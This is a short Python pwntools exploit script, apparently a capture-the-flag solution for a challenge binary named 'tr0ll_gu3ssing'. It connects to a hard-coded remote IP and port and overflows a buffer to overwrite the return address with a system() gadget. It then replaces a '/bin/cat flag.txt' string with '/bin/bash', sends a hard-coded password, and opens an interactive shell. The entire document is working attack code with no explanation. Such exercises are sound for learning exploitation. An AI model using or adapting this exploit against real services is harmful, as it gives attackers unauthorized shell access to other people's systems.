#!/usr/bin/env python3

from pwn import *

log.info(ELF("./tr0ll_gu3ssing").checksec())

io = remote('3.91.133.232', 4001)

system_gadget = p32(0x400870)

log.info('Overwriting the return address with system() gadget address')
io.sendline('A'*0x48 + str(system_gadget))

log.info('Overwriting the string "/bin/cat flag.txt" with "/bin/bash\0"')
io.sendline('A'*0x20 + '/bin/bash')

log.info('Sending the 3rd password to break the loop')
io.sendline('IQ0RiDmPhQKcCi4RSXvK75mHxor2y6t')

io.interactive()
io.close()
